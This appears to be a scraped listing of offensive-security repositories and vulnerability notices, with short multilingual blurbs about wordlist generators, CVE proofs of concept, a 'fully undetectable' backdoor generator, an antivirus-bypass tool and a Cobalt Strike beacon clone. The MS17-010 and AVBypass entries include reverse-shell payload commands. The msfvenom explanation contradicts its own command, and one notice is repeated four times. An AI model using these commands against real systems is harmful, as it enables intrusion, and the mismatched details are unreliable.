danish_phone_wordlist_generator

丹麦电话号码词列表生成器 该工具可以按地区和/或用途（移动电话、固定电话等）生成丹麦电话号码词列表。适用于密码破解或对丹麦目标进行模糊测试。 （另请参阅我的 Danish Wordlists 仓库，其中包含一系列丹麦通用词列表。） 快速开始： 克隆仓库：git clone https://github.com/narkopolo/danishphonewordlistgenerator.git 进入目录：cd danishphonewordlistgenerator 安装依赖：python -m pip install -r requirements.txt 运行脚本：python...

CVE-2022-22965

CVE-2022-22965 2022.04.02 16:44 优化了POC，不再是一次性验证 Optimized POC, no longer a one-time validation 警告：此程序会破坏日志信息的完整性，请备份服务器数据！仅在在拥有服务器渗透测试授权的情况下使用！ Warning: This program will destroy log information integrity, please back up server data! Use only if you have server penetration test authorization!...

SteppingStones

Stepping Stones Propósito Un centro para la actividad del Red Team que ayuda en el mantenimiento de registros, la conciencia situacional y la elaboración de informes. Stepping Stones proporciona una interfaz web para que el equipo registre la actividad y genere fragmentos de informes. La interfaz...

The vulnerability of the Webasyst content management system and the Shop-Script CMS system lies in improper code generation management, allowing attackers to execute arbitrary code.

The vulnerability of the Webasyst framework for designing content management systems and the Shop-Script CMS system is related to improper code generation. Exploiting this vulnerability allows an attacker who operates remotely to execute arbitrary code...

The vulnerability of the VoIP gateway software Telecom MG, related to improper code generation, allows a hacker to execute arbitrary code.

The vulnerability of the VoIP gateway software of Telecom MG is related to incorrect code generation. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...

The vulnerability of the VoIP gateway software Telecom MG, related to improper code generation, allows a hacker to execute arbitrary code.

The vulnerability of the VoIP gateway software of Telecom MG is related to incorrect code generation. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...

The vulnerability of the VoIP gateway software Telecom MG, related to improper code generation, allows a hacker to execute arbitrary code.

The vulnerability of the VoIP gateway software of Telecom MG is related to incorrect code generation. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...

The vulnerability of the VoIP gateway software Telecom MG, related to improper code generation, allows a hacker to execute arbitrary code.

The vulnerability of the VoIP gateway software of Telecom MG is related to incorrect code generation. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...

cyclonedx-cli

/ / / / / \ |/ / / / / / / / / / / / / / / / / / / / / / / / / / / / / // // / // / // / / / / / // / | / // // / /, ///// /////|| /// // Usage: cyclonedx command options Options: --version Show version information -?, -h, --help Show help and usage information Commands: add Add...

subdomain3

Subdomain3 README.md inChinese 中文 Description Subdomain3 is a new generation of tool , It helps penetration testers to discover more information in a shorter time than other tools.The information includes subdomains, IP, CDN, and so on. Please enjoy it. Screenshot medium pattern for speed Feature...

OSRipper

OSRipper v0.4.2 高级跨平台载荷生成器与密码器，具备FUD能力 功能特性 • 快速开始 • Web UI • 载荷类型 • 文档 概述 OSRipper 是一款复杂且完全无法检测 FUD 的后门生成器与密码器，专为授权的渗透测试和红队行动而设计。它采用先进的规避技术、多种载荷类型，并提供基于 Web 的现代 C2 界面来管理受控系统。 核心亮点 完全无法检测 FUD — 先进的规避技术可绕过现代杀毒软件 基于 Web 的 C2 界面 — 用于管理活跃会话的现代化仪表盘 多种载荷类型 — 绑定 shell、反向 shell、DoH C2、HTTPS C2 等 多层混淆 —...

bladeGPS

bladeGPS 非常粗糙的实验性实现，基于 gps-sdr-sim 进行实时信号生成。该代码适用于 bladeRF，并已在 Windows 10 和 Ubuntu 20.04 上测试通过。 Usage: bladegps options Options: -e RINEX navigation file for GPS ephemerides required -y YUMA almanac file for GPS almanacs -u User motion file dynamic mode -g NMEA GGA stream dynamic mode -l...

ScrapPY

🐕 ScrapPY: 轻松实现PDF数据提取 ScrapPY 是一款 Python 实用工具，用于提取手册、文档及其他敏感 PDF 中的内容，生成针对性的单词列表，可供进攻性安全工具用于暴力破解、强制浏览和字典攻击。ScrapPY 可执行词频、熵和元数据分析，并支持完整输出模式以定制针对特定攻击的单词列表。该工具深入挖掘可能指向密码或隐藏目录的关键词和短语，输出为 Hydra、Dirb 和 Nmap 等工具可读取的文本文件。借助 ScrapPY，加速初始访问、漏洞发现和横向移动！ Demo:...

CVE2PoC

CVE2PoC CVE2PoC 是一款帮助渗透测试人员、漏洞猎人及安全研究人员快速查找与 CVE ID 相关的公开漏洞、概念验证（PoC）和通告的工具。 目录 功能特性 安装 使用方法 查找公开漏洞 生成报告 CVE 描述 易受攻击的 Docker 环境与实操实验室 漏洞悬赏报告 修复步骤 漏洞利用文档 CPE 转 CVE ID CVE ID 转 CPE 过滤器 安装后配置 代码检查与格式化 鸣谢 免责声明 功能特性 🔍 公开漏洞聚合： 从 GitHub、Nuclei、ExploitDB 和 Metasploit 搜索并集中公开漏洞 🐳 隔离测试环境： 基于 Docker 的安全漏洞测试...

geacon

Geacon Using Go to implement CobaltStrike's Beacon This project is for learning protocol analysis and reverse engineering only, if someone's rights have been violated, please contact me to remove the project, and the last DO NOT USE IT ILLEGALLY How to play 1. Setup the teamserver and start a htt...

crackerjack

!CAUTION 此仓库不再维护，请访问 https://github.com/sadreck/crackerjack 获取最新版本。 CrackerJack 由 Context Information Security 开发的 Hashcat 网页界面 目录 介绍 架构 功能特点 局限性 安装 故障排除 截图 许可证 介绍 CrackerJack 是一个用 Python 开发的 Hashcat 网页图形界面。 架构 本项目旨在保持 GUI 与 Hashcat 独立。简要来说，工作原理如下： 用户上传哈希值，选择字典/规则/掩码等，然后点击“开始”。 Web 服务器生成一个新的 scre...

cve-2020-2555

CVE-2020-2555 运行Main.java会在当前目录下生成payload.ser，该payload可以使用t3协议发到目标服务器...

AVBypass

绕过杀毒软件保护 要求 已安装 golang 用法 1 - create your payload go run create.go e.g: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - in output folder you will find shell.go compile it go build shell.go 3 - now you have exe file to execute run netcat 4 - you will receive...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker 使用 msfvenom 生成 Payload： msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp：指定 payload（一个针对 Windows 的反向 TCP shell）。 LHOST=10.10.14.4：攻击者的 IP 地址（目标将回连的地址）。 LPORT=443：攻击者机器上监听连接的端口。 -f...

QCSuper

QCSuper QCSuper es una herramienta que se comunica con teléfonos y módems basados en Qualcomm, permitiendo capturar tramas de radio 2G/3G/4G y 5G en ciertos modelos en bruto, entre otras cosas. Te permitirá generar capturas PCAP de ello usando ya sea un teléfono Android rooteado, un dongle USB o...